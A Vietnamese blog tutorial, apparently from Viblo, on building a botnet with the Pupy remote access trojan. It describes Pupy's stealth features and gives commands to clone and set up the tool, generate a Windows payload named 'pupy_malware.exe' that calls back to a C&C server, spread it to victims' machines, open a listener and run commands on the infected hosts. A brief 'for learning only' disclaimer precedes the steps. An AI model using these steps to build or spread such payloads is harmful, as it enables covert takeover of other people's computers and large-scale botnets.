+4

RAT là gì? Hướng dẫn xây dựng hệ thống điều khiển nhiều thiết bị(Botnet) với RAT Pupy.(Phần 2)

I. RAT là gì?

Các bạn có thể đọc phần 1 tại đây.

Chú ý: Đây là bài viết mang tính chất học tập khuyến cáo mọi người không nên áp dụng vào thực tế.

II.Hướng dẫn xây dựng mạng botnet với RAT pupy

1. Pupy là gì?

Pupy là một RAT đa nền tảng được xây dựng bằng python. Khi hoạt động pupy để lại rất ít dấu vết trên máy nạn nhân. Pupy có thể giao tiếp với CnC bằng nhiều phương thức trao đổi giao tiếp khác nhau, đi vào các tiến trình bằng cách sử dụng reflective injection và tải mã python từ xa để thực thi.
  Các tính năng cơ bản:

  • Với Windows payload có thể tải trình thông dịch python từ bộ nhớ với reflective DLL (nó không động chạm gì đến ổ cứng.)
  • Pupy có thể được đóng gói thành một file.py duy nhất và có thể thực thi độc lập với hđh chỉ yêu cầu các thư viện python chuẩn(PyCrypto có thể được thay thế bằng AES hoặc RSA nếu như PyCryoto không được kích hoạt trên victim).
  • Reflectively migrate vào các tiến trình khác.
  • Dễ dàng mở rộng, các modul đơn giản và được sắp xếp theo OS và các thể loại.
  • Tương tác từ xa từ pupy shell và tự động hoàn thành các thuộc tính từ xa.
  • Có thể thực hiện lệnh trên nhiều victim cùng một lúc đó là cơ sở để có thể tạo thành mạng botbet.
  • Thực thi PE file từ xa hoặc từ bộ nhớ của victim.

  Pupy có thể generate file thực thi cho nhiều nền tảng:

Format Architecture Short Name
Android Package x86 & ARMv7 apk
Linux Binary x86 lin_x86
Linux Binary x64 lin_x64
Linux Shared Object x86 so_x86
Linux Shared Object x64 so_x64
Windows PE Executable x86 exe_x86
Windows PE Executable x64 exe_x64
Windows DLL x86/x64 dll_x86/x64
Python Script x86 & x64 py
PyInstaller x86 & x64 pyinst
Python Oneliner x86 & x64 py_oneliner
Powershell x86 & x64 ps1
Powershell Oneliner x86 & x64 ps1_oneliner
Ducky Script N/A rubber_ducky

2. Các thư viện và công cụ cần dùng:

  • mã nguồn pupy. link: https://github.com/n1nj4sec/pupy
  • python 2.7 (cài đặt python 2.7 trên máy chủ C&C server.
  • máy chủ linux (dùng làm C&C server) hoặc laptop cá nhân sử dụng Linux
  • jdk, sdk cho việc generate file.apk

3. Các bước thực hiện:

Download mã nguồn pupy:

git clone --recursive https://github.com/n1nj4sec/pupy
cd pupy

Sau đó, tạo môi trường làm việc với pupy:
  Script pupy/create-workspace.py này sẽ tạo môi trường hoạt động cho pupy và tạo symlink tới pupysh ở ~./local/bin.
Nếu muốn tạo môi trường phiên bản nhẹ(không có các build toolchain):

python create-workspace.py -DG pupyw

Tạo môi trường bản đầy đủ:

python create-workspace.py pupyws

Sau khi cài đặt xong, tạo một symlink để gọi pupy từ terminal:

export PATH=$PATH:~/.local/bin; pupysh
pupyws/bin/pupysh

Sau khi thiết lập xong ta có thể chạy pupy từ terminal. Khởi chạy:

Tạo file thực thi client với modul gen trong pupy:

Demo tạo client Windows 32bit với modul “gen”:

gen -f client -O windows -A x86 -o pupy_malware.exe connect --host 172.16.216.1:9797 -t ssl

Trong đó:

  • -f: định dạng của file
  • -O: hđh hoạt động
  • -A: nền tảng(32bits/64bits)
  • -o: ouput file name
  • connect –host: địa chỉ máy chủ CnC server
  • -t: kiểu giao tiếp(ssl, rsa, aes,..)

Sau khi thực thi xong lệnh trên ta sẽ nhận được 1 file .exe được lưu trong pupyw/pupy_malware.exe. Mang file này đi lây nhiễm và thực thi trên máy nạn nhân. Ta sẽ có được 1 bot.

Ta mở port để lắng nghe kết nối từ client (bot):

listen -a <transport> <port> 

Trong đó:

  • “transport” là phương thức transport đã thiết lập cho client khi ta tạo client.
  • "port" là cổng giao tiếp thiết lập ở phần generate client.

Kiểm tra các kết nối đến C&C server sessions:

Ở đây ta thấy có 1 client (bot) đang kết nối đến server. Kiểm tra các modul hỗ trợ cho clients help -M:

Demo thực thi “command” hệ thống:

Vậy là ta có thể điều khiển được máy nạn nhận. Từ ví dụ trên ta có thể xây dựng được mạng botnet.

III. Tài liệu tham khảo


All Rights Reserved

Viblo
Let's register a Viblo Account to get more interesting posts.